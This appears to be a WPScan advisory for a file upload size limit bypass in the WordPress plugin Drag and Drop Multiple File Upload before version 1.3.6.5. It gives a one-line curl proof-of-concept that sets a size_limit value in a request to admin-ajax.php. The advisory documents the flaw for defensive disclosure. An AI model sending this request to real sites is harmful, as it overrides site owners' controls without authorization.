WordPress Plugin Vulnerabilities
Drag and Drop Multiple File Upload < 1.3.6.5 - File Upload Size Limit Bypass
Description
The plugin does not properly check for the upload size limit set in forms, taking the value from user input sent when submitting the form. As a result, attackers could control the file length limit and bypass the limit set by admins in the contact form.
Proof of Concept
curl -X POST -F "size_limit=10485760" -F "action=dnd_codedropz_upload" -F "type=click" -F "form_id=156" -F "upload_name=upload-file-235" -F "upload-file=@upload.png" https://example.com/wordpress/wp-admin/admin-ajax.php
Affects Plugins
Fixed in 1.3.6.5 References
CVE
Miscellaneous
Original Researcher
Sanjay Das
Submitter
Sanjay Das
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-09-26 (about 1 years ago)
Added
2022-09-26 (about 1 years ago)
Last Updated
2022-09-26 (about 1 years ago)
WPScan 